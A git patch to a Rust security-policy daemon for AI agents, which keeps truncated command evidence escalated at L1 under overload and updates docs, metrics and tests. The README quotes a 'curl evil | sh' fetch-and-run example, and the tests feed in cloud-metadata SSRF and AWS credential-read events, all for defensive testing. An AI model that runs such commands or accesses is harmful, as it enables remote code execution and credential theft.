From eb79e83fa5f15ea68068501f682da0f8998ff615 Mon Sep 17 00:00:00 2001 From: Roy Lin <19165061825@163.com> Date: Mon, 20 Jul 2026 18:14:29 +0800 Subject: [PATCH] fix: harden decoupled L3 contracts --- .github/workflows/ci.yml | 17 ++++++++ README.md | 46 +++++++++++++++------ docs/RUNBOOK.md | 18 +++++--- sdk/typescript/src/lib.rs | 7 +++- sdk/typescript/test/sdk.test.mjs | 8 ++++ src/bin/sentry.rs | 14 +++++-- src/metrics.rs | 8 ++-- src/pipeline.rs | 10 ++--- tests/integration.rs | 71 ++++++++++++++++++++++++++++---- 9 files changed, 157 insertions(+), 42 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index d003ac2..615117d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -23,3 +23,20 @@ jobs: run: cargo clippy --all-targets -- -D warnings - name: test run: cargo test --all + + typescript-sdk: + runs-on: ubuntu-latest + defaults: + run: + working-directory: sdk/typescript + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: "20" + cache: npm + cache-dependency-path: sdk/typescript/package-lock.json + - uses: dtolnay/rust-toolchain@stable + - run: npm ci + - run: npm run build + - run: npm test diff --git a/README.md b/README.md index 3d70b7f..538bb24 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,11 @@ Observer provides the **signal** (`ToolExec`, `SslContent`, `SecurityAction`, `E hot-reload). Sentry decides. It never enforces anything itself — keeping it a pure policy brain and the kernel the single enforcement point. +For `ToolExec`, observer also reports whether argv was truncated or could not be fully reassembled. +Sentry still blocks an explicitly dangerous captured prefix, but an ambiguous incomplete command +stops as an L1 escalation instead of becoming an ordinary allow or a model decision based on missing +evidence. + ## Install Published from the repo's own GitHub Actions (a `vX.Y.Z` tag runs [`release.yml`](.github/workflows/release.yml)): @@ -131,7 +136,9 @@ rules = [ ] ``` -First match wins; no match = allow. See [`policy/rules.acl`](policy/rules.acl). +First match wins; no match = allow for complete evidence. An incomplete `ToolExec` skips matching +allow rules and escalates at L1 when no dangerous block rule matches. See +[`policy/rules.acl`](policy/rules.acl). ## Dynamic policy & embedding @@ -153,11 +160,14 @@ let pipeline = Pipeline::new(rules.clone()) // L1 .fail_closed(false); let decision = pipeline.evaluate(&observed_event); // your own event source +let fast = pipeline.evaluate_through_l2(&observed_event); // persist escalations for external L3 rules.reload()?; // force-apply config changes now (e.g. on a signal / admin API) ``` Every tier is a `Judge` trait impl, so you can swap L1/L2/L3 for your own (a different model, an -in-house ruleset) and keep the escalation machinery. +in-house ruleset) and keep the escalation machinery. `evaluate_through_l2` never invokes L3 or +applies `fail_closed`; callers must durably dispatch any `Escalated` result instead of treating it as +an allow. ## SDKs (Python · TypeScript) @@ -184,11 +194,16 @@ firing at `tier=Rules`). - **TypeScript** — [`sdk/typescript`](sdk/typescript), live on npm: `npm install @a3s-lab/sentry` (Node ≥12): ```ts - import { Sentry, egress } from "@a3s-lab/sentry"; + import { Sentry, egress, fileAccess } from "@a3s-lab/sentry"; const sentry = Sentry.create("sentry.acl"); const d = sentry.evaluate(egress(1, "169.254.169.254", 80)); if (d?.verdict === "block") console.log(d.reason, d.action); // { kind: "DenyEgress", target: "…" } + + const fast = await sentry.evaluateThroughL2( + fileAccess(1, "/home/u/.aws/credentials", false), + ); + if (fast.stageStatus === "escalated") await durableL3Queue.send(fast); ``` The `sentry.acl` config — rules, optional `llm {}` (L2) / `agent {}` (L3) backends, and `deny {}` @@ -322,18 +337,21 @@ dashboard. Output text has no kernel deny target, so an SAE block rides the encl Set `A3S_SENTRY_METRICS_ADDR` (e.g. `0.0.0.0:9100`) to expose, with no extra dependency: - **`GET /metrics`** — Prometheus counters: `sentry_events_total`, `sentry_blocked_total`, - **`sentry_overload_degraded_total`** (escalations that fell through to the fail mode), and + **`sentry_overload_degraded_total`** (escalations rejected by the full worker queue), and **`sentry_enforce_failed_total`** (a block whose deny-write errored). For a *fail-open* control those - last two are the ones to **alarm on** — both mean a block did **not** take effect. + last two are the ones to **alarm on** — both mean the enforcement path may not have completed. - **`GET /healthz`** — `200 ok` while the process is alive (the k8s liveness/readiness probe in [`deploy/daemonset.yaml`](deploy/daemonset.yaml) hits this). ## Honest boundaries - **L1 is a cheap pre-filter, not a sandbox.** Regex rules are evadable (obfuscation, base64, - alternate interpreters, variable indirection), and observer truncates each argv slot to **64 - bytes** — a `sh -c "; curl evil | sh"` outruns every content rule. Treat L1 as fast triage - that catches lazy cases and escalates the rest; the real boundary is L2/L3 or an observer + alternate interpreters, variable indirection), and observer command capture is bounded. Observer + now marks truncated or incompletely reassembled argv explicitly; Sentry blocks a dangerous + captured prefix and preserves ambiguous evidence as an L1 escalation. A caller using the staged + API must persist and dispatch that escalation to an external L3 worker. The bundled daemon audits + the unresolved decision, including during worker overload, but does not provide a durable external + L3 queue. Treat L1 as fast triage; the real boundary is durable L3 handling or an observer egress/exec **allow-list**, not L1's block list. - **Two paths, by design.** The observer-event path is *reactive*: sentry acts on observer's events, so it blocks the *next* dangerous action / future connections — the flagged action itself has @@ -357,7 +375,8 @@ Set `A3S_SENTRY_METRICS_ADDR` (e.g. `0.0.0.0:9100`) to expose, with no extra dep Without it sentry still sees exec / egress / file / SecurityAction, just not prompt/response text. - **L2/L3 run in a worker pool** off the ingest thread, so a slow tier never head-of-line-blocks the L1 stream (validated: ~1.15M ev/s with a 0.5s L2 in the mix). Under an escalation flood the bounded - queue degrades gracefully to the fail-mode (audited; counted as `overload-degraded`). + queue degrades complete-evidence events to the fail mode; incomplete command evidence remains an + audited L1 escalation. Both are counted as `overload-degraded`. ## Build & test @@ -369,13 +388,14 @@ cargo build --release Pure userspace Rust (serde / regex / ureq / hcl) — no kernel components; those live in a3s-observer. -- **Unit** (41) — rules + escalation + enforce + parsing + the speculative/hot-reload/cap logic + the +- **Unit** (67) — rules + escalation + enforce + parsing + the speculative/hot-reload/cap logic + the metrics endpoint. -- **Integration** (`tests/integration.rs`, 12) — the real binary end to end: block → deny-file, +- **Integration** (`tests/integration.rs`, 13) — the real binary end to end: block → deny-file, dry-run, fail-open/closed, malformed-input, live hot-reload, `--version`, the **L2 round-trip** against a mock OpenAI endpoint, the **L3 agent** path (mock agent → block → deny-file), **overload - degradation** (slow L3 + queue=1 → graceful degrade, clean exit), and the **metrics endpoint** - (live `/metrics` counters + `/healthz`). All CI-reproducible. + handling** (slow L3 + queue=1 → graceful complete-evidence degradation while incomplete evidence + stays escalated), and the **metrics endpoint** (live `/metrics` counters + `/healthz`). All + CI-reproducible. - **Soak** (`scripts/soak.sh` + `scripts/soak-l2.sh`) — sustained mixed load + policy-rewrite-under-load (10M+ events, RSS flat, 0 panics, dedup-bounded); and a **worker-pool soak** proving a slow L2 never head-of-line-blocks the L1 stream (**~1.15M ev/s on Linux with a 0.5s L2**, RSS flat 6.5 MB, graceful diff --git a/docs/RUNBOOK.md b/docs/RUNBOOK.md index fc1514d..4f46975 100644 --- a/docs/RUNBOOK.md +++ b/docs/RUNBOOK.md @@ -18,7 +18,8 @@ produced the event), and when sentry can't decide it **allows** unless you tell | | `A3S_SENTRY_FAIL_CLOSED` unset (default) | `A3S_SENTRY_FAIL_CLOSED=1` | |---|---|---| | Unresolved escalation (no deeper tier, or a tier errored) | **allow** | **block** | -| Overload (worker queue full) | **allow** | **block** | +| Complete-evidence overload (worker queue full) | **allow** | **block** | +| Incomplete `ToolExec` evidence | **L1 escalation** | **L1 escalation** | | Posture | availability-first (matches observer) | safety-first | Fail-**closed** is correct for high-assurance workloads, but note the deny is coarse and node-global — @@ -29,14 +30,21 @@ L2/L3 configured *and* headroom (see §4), or you trade a detectability gap for secret egress, …) silently resolves to allow. Sentry prints a loud startup WARNING for exactly this. Fix it by configuring L2/L3 or setting fail-closed. +Incomplete argv is deliberately different: Sentry will not ask a model to infer a benign suffix +that observer did not capture. It preserves an L1 escalation for durable external L3 dispatch, +regardless of fail mode. Alert if the consumer cannot persist or dispatch that result; treating it as +an allow recreates the evidence gap. The bundled daemon audits this unresolved decision, including +during worker overload, but does not itself provide a durable external L3 queue. + ## 3. Alarms — the two metrics that mean "a block didn't land" Scrape `A3S_SENTRY_METRICS_ADDR` (`/metrics`). Page on either of these rising: -- **`sentry_overload_degraded_total`** — escalations that fell through to the fail mode because the - worker queue was full. Under fail-open, each one is a **silent enforcement bypass**. Response: - raise `A3S_SENTRY_WORKERS` / `A3S_SENTRY_QUEUE`, speed up or disable the slow tier, or accept - fail-closed for the overflow. A non-zero rate means you are under-provisioned for your event rate. +- **`sentry_overload_degraded_total`** — escalations rejected because the worker queue was full. + Complete-evidence events fall through to the fail mode; incomplete command evidence remains an + audited L1 escalation. Response: raise `A3S_SENTRY_WORKERS` / `A3S_SENTRY_QUEUE`, speed up or + disable the slow tier, or accept fail-closed for complete-evidence overflow. A non-zero rate means + you are under-provisioned for your event rate. - **`sentry_enforce_failed_total`** — a block whose deny-file write errored (disk full, read-only FS, bad path). The block did **not** take effect. Response: check the deny-file volume (space, mount, permissions). Sentry already retries the same target on its next occurrence, so a transient cause diff --git a/sdk/typescript/src/lib.rs b/sdk/typescript/src/lib.rs index b98d679..592787d 100644 --- a/sdk/typescript/src/lib.rs +++ b/sdk/typescript/src/lib.rs @@ -5,8 +5,8 @@ //! (beyond what L3 itself spawns) — the same model as @a3s-lab/code. use a3s_sentry::{ - EnforceAction as CoreAction, RiskType as CoreRiskType, Sentry as CoreSentry, Severity, Tier, - ThroughL2StageStatus as CoreThroughL2StageStatus, Verdict, + EnforceAction as CoreAction, RiskType as CoreRiskType, Sentry as CoreSentry, Severity, + ThroughL2StageStatus as CoreThroughL2StageStatus, Tier, Verdict, }; use napi::{bindgen_prelude::AsyncTask, Env, Task}; use napi_derive::napi; @@ -72,6 +72,9 @@ pub struct EvaluateThroughL2Task { event: String, } +// Register `Task::JsValue` with napi-rs so the generated declaration is +// `Promise` rather than `Promise`. +#[napi] impl Task for EvaluateThroughL2Task { type Output = a3s_sentry::ThroughL2Result; type JsValue = ThroughL2Result; diff --git a/sdk/typescript/test/sdk.test.mjs b/sdk/typescript/test/sdk.test.mjs index 187d588..a682c48 100644 --- a/sdk/typescript/test/sdk.test.mjs +++ b/sdk/typescript/test/sdk.test.mjs @@ -142,6 +142,14 @@ test("evaluateThroughL2 preserves escalation without invoking L3", async () => { } }); +test("generated declarations preserve the structured through-L2 result", () => { + const declarations = readFileSync(new URL("../index.d.ts", import.meta.url), "utf8"); + assert.match( + declarations, + /evaluateThroughL2\(event: string\): Promise/, + ); +}); + test("incomplete ToolExec evidence stops at L1 instead of becoming allow", async () => { const s = Sentry.create(` fail_closed = false diff --git a/src/bin/sentry.rs b/src/bin/sentry.rs index 22a608c..3461bde 100644 --- a/src/bin/sentry.rs +++ b/src/bin/sentry.rs @@ -40,8 +40,9 @@ fn main() -> anyhow::Result<()> { let pipeline = Arc::new(cfg.build_pipeline(live.clone())?); let enforcer = Arc::new(Mutex::new(cfg.build_enforcer())); - // Self-observability (opt-in). Alarm on `overload_degraded`/`enforce_failed` — both mean a block - // didn't take effect. Bind fails fast on a bad address rather than silently running blind. + // Self-observability (opt-in). Alarm on `overload_degraded`/`enforce_failed` — both mean the + // enforcement path may not have completed. Bind fails fast on a bad address rather than silently + // running blind. let metrics = Metrics::default(); if let Some(addr) = &cfg.metrics_addr { let bound = a3s_sentry::metrics::serve(addr, metrics.clone()) @@ -89,7 +90,8 @@ fn main() -> anyhow::Result<()> { // Worker pool for the SLOW tiers. L1 runs inline on the ingest thread (µs), so a slow L2/L3 // occupies a worker — not the event stream. Escalations dispatch to a bounded queue; if it fills - // (an escalation flood), the event degrades gracefully to the fail-open/closed verdict. + // (an escalation flood), complete evidence degrades gracefully to the fail-open/closed verdict. + // Incomplete command evidence remains an unresolved L1 escalation. let (tx, rx) = mpsc::sync_channel::(cfg.queue_cap); let rx = Arc::new(Mutex::new(rx)); let mut workers = Vec::new(); @@ -148,7 +150,11 @@ fn main() -> anyhow::Result<()> { if let Err(e) = tx.try_send(ev) { let (mpsc::TrySendError::Full(ev) | mpsc::TrySendError::Disconnected(ev)) = e; metrics.degraded.fetch_add(1, Ordering::Relaxed); - let d = pipeline.resolve_overload(d1); + let d = if ev.event.evidence_incomplete() { + d1 + } else { + pipeline.resolve_overload(d1) + }; handle(&ev, &d, &enforcer, &metrics); } } else { diff --git a/src/metrics.rs b/src/metrics.rs index 95d45bb..45e2c75 100644 --- a/src/metrics.rs +++ b/src/metrics.rs @@ -1,8 +1,8 @@ //! Self-observability: a tiny std-only metrics + health endpoint so an operator can ALARM on the //! signals that matter for a *fail-open* security control — chiefly `overload_degraded` (escalations -//! that silently fell through to the fail mode because the worker queue was full) and `enforce_failed` -//! (a block whose deny-write errored, i.e. a block that did not land). Opt-in via -//! `A3S_SENTRY_METRICS_ADDR`; nothing is bound otherwise. No framework, no async — one accept thread. +//! rejected by the worker queue) and `enforce_failed` (a block whose deny-write errored, i.e. a block +//! that did not land). Opt-in via `A3S_SENTRY_METRICS_ADDR`; nothing is bound otherwise. No +//! framework, no async — one accept thread. use std::io::{Read, Write}; use std::net::{TcpListener, TcpStream}; @@ -30,7 +30,7 @@ impl Metrics { # HELP sentry_blocked_total Events blocked (a deny-file write was attempted).\n\ # TYPE sentry_blocked_total counter\n\ sentry_blocked_total {}\n\ - # HELP sentry_overload_degraded_total Escalations degraded to the fail mode (worker queue full) — a fail-OPEN bypass; alarm on rate > 0.\n\ + # HELP sentry_overload_degraded_total Escalations rejected by the full worker queue; complete evidence uses the fail mode, incomplete evidence remains unresolved — alarm on rate > 0.\n\ # TYPE sentry_overload_degraded_total counter\n\ sentry_overload_degraded_total {}\n\ # HELP sentry_enforce_failed_total Deny-file writes that errored (a block that did NOT land) — alarm on rate > 0.\n\ diff --git a/src/pipeline.rs b/src/pipeline.rs index ecdc27d..80cadad 100644 --- a/src/pipeline.rs +++ b/src/pipeline.rs @@ -194,11 +194,7 @@ impl Pipeline { return through_l2_result(d1, None, Some(EscalationCause::L1)); }; let d2 = l2.judge(ev); - let cause = Some(if d2.verdict == Verdict::Escalate { - EscalationCause::L2 - } else { - EscalationCause::L1 - }); + let cause = (d2.verdict == Verdict::Escalate).then_some(EscalationCause::L2); through_l2_result(d1, Some(d2), cause) } @@ -480,7 +476,7 @@ mod tests { assert_eq!(result.l2_decision.as_ref().unwrap().verdict, Verdict::Block); assert_eq!(result.effective_decision.tier, Tier::Llm); assert_eq!(result.stage_status, ThroughL2StageStatus::Completed); - assert_eq!(result.escalation_cause, Some(EscalationCause::L1)); + assert_eq!(result.escalation_cause, None); } #[test] @@ -492,7 +488,7 @@ mod tests { assert_eq!(result.effective_decision.verdict, Verdict::Allow); assert_eq!(result.effective_decision.tier, Tier::Llm); assert_eq!(result.stage_status, ThroughL2StageStatus::Completed); - assert_eq!(result.escalation_cause, Some(EscalationCause::L1)); + assert_eq!(result.escalation_cause, None); } #[test] diff --git a/tests/integration.rs b/tests/integration.rs index c904ccb..7d18f8d 100644 --- a/tests/integration.rs +++ b/tests/integration.rs @@ -40,6 +40,18 @@ const SSRF: &str = "{\"event\":{\"Egress\":{\"pid\":1,\"peer\":\"169.254.169.254\",\"port\":80}}}\n"; const CREDS: &str = "{\"event\":{\"FileAccess\":{\"pid\":1,\"path\":\"/home/a/.aws/credentials\",\"write\":false}}}\n"; +const INCOMPLETE_EXEC: &str = + "{\"event\":{\"ToolExec\":{\"pid\":2,\"argv\":[\"echo\",\"sentry-incomplete-overload\"],\"argv_incomplete\":true}}}\n"; + +fn overload_degraded(stderr: &str) -> u64 { + stderr + .lines() + .find(|line| line.contains("stopped —")) + .and_then(|line| line.rsplit(", ").next()) + .and_then(|field| field.split_whitespace().next()) + .and_then(|count| count.parse().ok()) + .unwrap_or(0) +} #[test] fn blocks_metadata_ssrf_and_writes_egress_deny() { @@ -190,13 +202,7 @@ fn overload_degrades_under_slow_l3_and_tiny_queue() { &input, ); // final stderr stats line: "... stopped — N events, B blocked, D overload-degraded" - let degraded: u64 = stderr - .lines() - .find(|l| l.contains("stopped")) - .and_then(|l| l.rsplit_once(", ").map(|(_, t)| t.to_string())) - .and_then(|t| t.split_whitespace().next().map(str::to_string)) - .and_then(|n| n.parse().ok()) - .unwrap_or(0); + let degraded = overload_degraded(&stderr); assert!( degraded >= 1, "a slow L3 + queue=1 + workers=1 + 10 escalations should degrade some: {stderr}" @@ -204,6 +210,57 @@ fn overload_degrades_under_slow_l3_and_tiny_queue() { std::fs::remove_dir_all(&dir).ok(); } +/// Incomplete command evidence is an unresolved L1 result, not a fail-open candidate. Even when a +/// slow complete-evidence event fills the worker and queue, overload must preserve `escalate`. +#[cfg(unix)] +#[test] +fn overload_never_converts_incomplete_exec_evidence_to_allow() { + let dir = tmp("incomplete-overload"); + let bin = write_exec( + &dir, + "slow-agent.sh", + "#!/bin/sh\nsleep 0.3\necho '{\"verdict\":\"allow\",\"severity\":\"low\",\"reason\":\"slow\"}'\n", + ); + let incomplete_count = 20; + let input = format!("{CREDS}{}", INCOMPLETE_EXEC.repeat(incomplete_count)); + let (stdout, stderr) = run( + &[ + ("A3S_SENTRY_AGENT_BIN", bin.to_str().unwrap()), + ("A3S_SENTRY_WORKERS", "1"), + ("A3S_SENTRY_QUEUE", "1"), + ], + &input, + ); + + assert!( + overload_degraded(&stderr) >= 1, + "the slow worker and tiny queue must exercise overload: {stderr}" + ); + let verdicts = stdout + .lines() + .filter_map(|line| serde_json::from_str::(line).ok()) + .filter_map(|record| { + (record.get("subject")?.as_str()? == "echo sentry-incomplete-overload").then(|| { + record + .pointer("/decision/verdict") + .and_then(serde_json::Value::as_str) + .unwrap_or("") + .to_owned() + }) + }) + .collect::>(); + assert_eq!( + verdicts.len(), + incomplete_count, + "every incomplete event must be audited: {stdout}" + ); + assert!( + verdicts.iter().all(|verdict| verdict == "escalate"), + "incomplete evidence must remain an escalation under overload: {stdout}" + ); + std::fs::remove_dir_all(&dir).ok(); +} + /// Observability end to end: with A3S_SENTRY_METRICS_ADDR set, the daemon serves live counters — an /// SSRF block shows up as sentry_blocked_total, and /healthz answers 200. #[test]